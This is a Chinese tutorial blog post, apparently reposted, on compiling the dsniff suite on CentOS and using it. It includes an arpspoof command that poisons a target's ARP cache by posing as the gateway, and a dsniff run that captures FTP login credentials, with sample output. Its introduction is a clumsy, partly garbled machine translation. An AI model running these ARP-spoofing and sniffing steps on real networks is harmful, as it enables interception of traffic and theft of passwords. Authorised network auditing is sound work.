linux 实现嗅探工具dsniff

简介:

dsniff是一家集工具为网络审计和渗透测试dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf,webspy被动监测网络的数据(密码、电子邮件、文件等)。arpspoof,dnsspoof,macof方便截取网络流量通常不能攻击者(e。g,由于第2层交换)。sshmitm和webmitm实现主动的猴子在中间攻击重定向SSH和HTTPS会话利用弱绑定在特别的PKI。我写这些工具与诚实的意图——审计自己的网络,并证明了大多数网络应用协议不安全感。请不要滥用这种软件


实验环境

centos-5.5


使用软件

openssl-0.9.7i.tar.gz

libnids-1.18.tar.gz

libpcap-0.7.2.tar.gz

libnet-1.0.2a.tar.gz

db-4.7.25.tar.gz

dsniff-2.3.tar.gz


软件安装

yum install -y gcc gcc-c++ flex bison

tar zxvf openssl-0.9.7i.tar.gz

cd openssl-0.9.7l

./config

make

make install


tar zxvf libpcap-0.7.2.tar.gz

cd libpcap-0.7.2

./configure

make

make install


tar zxvf libnet-1.0.2a.tar.gz

cd Libnet-1.0.2a

./configure

make

make install


tar zxvf libnids-1.18.tar.gz

cd libnids-1.18

./configure

make

make install


tar zxvf db-4.7.25.tar.gz

cd db-4.7.25/build_unix

../dist/configure --enable-compat185

make

make install


tar zxvf dsniff-2.3.tar.gz

cd dsniff-2.3

vim arp.c


11 #include "config.h"

添加 #include "memory.h"


11 #include "config.h"

12 #include "memory.h"


./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7

make

make install


设置

vim /etc/sysctl.conf


找到 net.ipv4.ip_forward = 0


修改 net.ipv4.ip_forward = 1


sysctl -p 修改生效,无需重启系统

cp -p /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/lib

cd /usr/local/sbin;ls 如果有dsniff,既为安装成功

到此为止dsniff,安装成功了。


使用方法

使用 arpspoof 对目标机实施ARP欺骗攻击

arpspoof -i eth0 -t 192.168.0.103 192.168.0.1 192.168.0.1 为伪装网关地址

0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3

0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3

0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3

0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3



使用 dsniff 取得指定端口的数据信息

dsniff -i eth0 -t 21/tcp=ftp,80/tcp=http

dsniff: listening on eth0

-----------------

08/06/13 10:12:35 tcp 192.168.0.103.3043 -> 192.168.0.102.21 (ftp)

USER anonymous

PASS IEUser@


dsniff这是一个口令嗅探器,可以处理的协议类型包括: 
FTP,Telnet,SMTP,HTTP,POP,NNTP,IMAP,SNMP,LDAP,Rlogin,RIP,OSP 
F,PPTP,MS-CHAP,NFS,VRRP,YP/NIS,SOCKS,X11,CVS,IRC,AIM,ICQ,Napster,ostgreSQL,
MeetingMaker,CitrixICA,Symantec,pcAnywhere,NA 
ISniffer,MicrosoftSMB,OracleQL*Net,Sybase及MicrosoftSQL认证信息




本文转自 mailfile 51CTO博客,原文链接:http://blog.51cto.com/mailfile/1327675,如需转载请自行联系原作者

相关文章
|
2天前
|
数据可视化 小程序 Linux
【Linux】自动化构建工具make/Makefile和git介绍
【Linux】自动化构建工具make/Makefile和git介绍
12 0
|
4天前
|
缓存 Linux
linux性能分析之内存分析(free,vmstat,top,ps,pmap等工具使用介绍)
这些工具可以帮助你监视系统的内存使用情况、识别内存泄漏、找到高内存消耗的进程等。根据具体的问题和需求,你可以选择使用其中一个或多个工具来进行内存性能分析。注意,内存分析通常需要综合考虑多个指标和工具的输出,以便更好地理解系统的行为并采取相应的优化措施。
24 6
|
8天前
|
Linux
Linux课程四课---Linux开发环境的使用(自动化构建工具-make/Makefile的相关)
Linux课程四课---Linux开发环境的使用(自动化构建工具-make/Makefile的相关)
|
10天前
|
Linux 网络安全 数据处理
【专栏】Linux 超级强大的十六进制 dump 工具:XXD 命令,我教你应该如何使用!
【4月更文挑战第28天】Linux下的xxd命令是一个强大的二进制数据处理工具,用于十六进制转储和数据分析。它可以显示文件的十六进制和ASCII表示,方便查看内容、分析数据结构和比较文件。xxd支持指定输出格式、写入文件、数据提取和转换等功能。在网络安全分析、程序调试和数据恢复等领域有广泛应用。通过掌握xxd,用户能更深入理解和处理二进制数据。
|
10天前
|
安全 Linux 网络安全
【专栏】Linux 网络扫描工具:nmap,涨知识的时间到了!
【4月更文挑战第28天】nmap, 开源网络扫描工具,用于探测主机、网络信息,包括开放端口、服务类型、OS等。本文分三部分介绍:1) nmap简介与基本原理;2) 使用方法和高级技巧,如脚本扩展;3) 实际应用,如网络安全评估、系统管理和渗透测试。学习nmap需注意合规性,持续探索新技巧,以提升网络管理与安全能力。一起开始nmap的探索之旅吧!
|
15天前
|
安全 Unix Linux
基于MobaXterm工具的Linux远程SSH登录
本文介绍了如何使用 MobaXterm 进行 Linux 远程登录。首先,从官方网站下载并安装 MobaXterm。启动后,创建新的远程会话,选择 SSH 类型,输入服务器 IP、主机名和端口。接着,提供用户名和密码进行连接。成功后,即可使用远程终端执行命令。此外,文章还提到了其他常用的 Linux 远程登录工具,如 PuTTY、OpenSSH、SecureCRT 和 Xshell,强调了选择工具时应考虑个人偏好和安全需求。
|
21小时前
|
缓存 关系型数据库 Linux
Linux目录结构:深入理解与命令创建指南
Linux目录结构:深入理解与命令创建指南
|
2天前
|
Linux
Linux常用命令2
Linux常用命令2
4 0
|
2天前
|
Linux
Linux常用命令1
Linux常用命令1
7 0